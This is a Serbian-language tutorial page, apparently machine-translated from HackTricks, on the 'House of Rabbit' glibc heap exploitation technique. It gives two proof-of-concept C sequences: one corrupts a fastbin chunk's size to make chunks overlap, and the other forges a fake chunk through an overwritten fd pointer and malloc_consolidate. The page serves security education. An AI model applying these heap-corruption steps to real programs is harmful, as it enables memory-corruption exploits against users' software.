4.6 KiB
Kuća Zeca
{% hint style="success" %}
Naučite i vežbajte hakovanje AWS-a: HackTricks Obuka AWS Crveni Tim Stručnjak (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Obuka GCP Crveni Tim Stručnjak (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Zahtevi
- Sposobnost modifikacije pokazivača fd brze binarne ili veličine: To znači da možete promeniti pokazivač napred jednog bloka u brzoj binarnoj ili njegovu veličinu.
- Sposobnost pokretanja
malloc_consolidate
: Ovo se može postići ili dodeljivanjem velikog bloka ili spajanjem vršnog bloka, što prisiljava hip da konsoliduje blokove.
Ciljevi
- Stvaranje preklapajućih blokova: Da bi jedan blok prekrio drugi, omogućavajući dalje manipulacije hipom.
- Lažiranje lažnih blokova: Da bi se varalica ubedio da tretira lažni blok kao legitimni blok tokom operacija hipa.
Koraci napada
POC 1: Modifikacija veličine brze binarne jedinice
Cilj: Stvaranje preklapajućeg bloka manipulacijom veličine brze binarne jedinice.
- Korak 1: Dodela Blokova
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- Korak 2: Oslobađanje delova
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
- Korak 3: Izmena Veličine Čunka
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
- Korak 4: Izazovite
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Alociranje velikog bloka pokreće funkciju malloc_consolidate
, spajajući male blokove u brzom binu. Manipulisana veličina chunk1
uzrokuje preklapanje sa chunk2
.
Nakon konsolidacije, chunk1
se preklapa sa chunk2
, omogućavajući dalju eksploataciju.
POC 2: Modifikacija fd
pokazivača
Cilj: Kreiranje lažnog bloka manipulacijom brzog bin fd
pokazivača.
- Korak 1: Alociranje Blokova
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Objašnjenje: Alociramo dva bloka, jedan manji i jedan veći, kako bismo postavili hip za lažni blok.
- Korak 2: Kreiranje lažnog bloka
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- Korak 3: Oslobodite
chunk1
free(chunk1); // Frees the chunk at 0x602000
Objašnjenje: Oslobađamo chunk1
, dodajući ga u listu fastbin.
- Korak 4: Modifikujemo
fd
odchunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Objašnjenje: Menjamo pokazivač unapred (fd
) chunk1
da pokazuje na naš lažni blok unutar chunk2
.
- Korak 5: Pokretanje
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Alociranje velikog bloka ponovo pokreće malloc_consolidate
, koji obrađuje lažni blok.
Lažni blok postaje deo liste brzih binova, čineći ga legitimnim blokom za dalje iskorišćavanje.
Rezime
Tehnika House of Rabbit uključuje ili modifikovanje veličine bloka brzih binova kako bi se stvorili preklapajući blokovi ili manipulisanje fd
pokazivača kako bi se stvorili lažni blokovi. Ovo omogućava napadačima da falsifikuju legitimne blokove u hipu, omogućavajući različite oblike iskorišćavanja. Razumevanje i vežbanje ovih koraka će unaprediti vaše veštine iskorišćavanja hipa.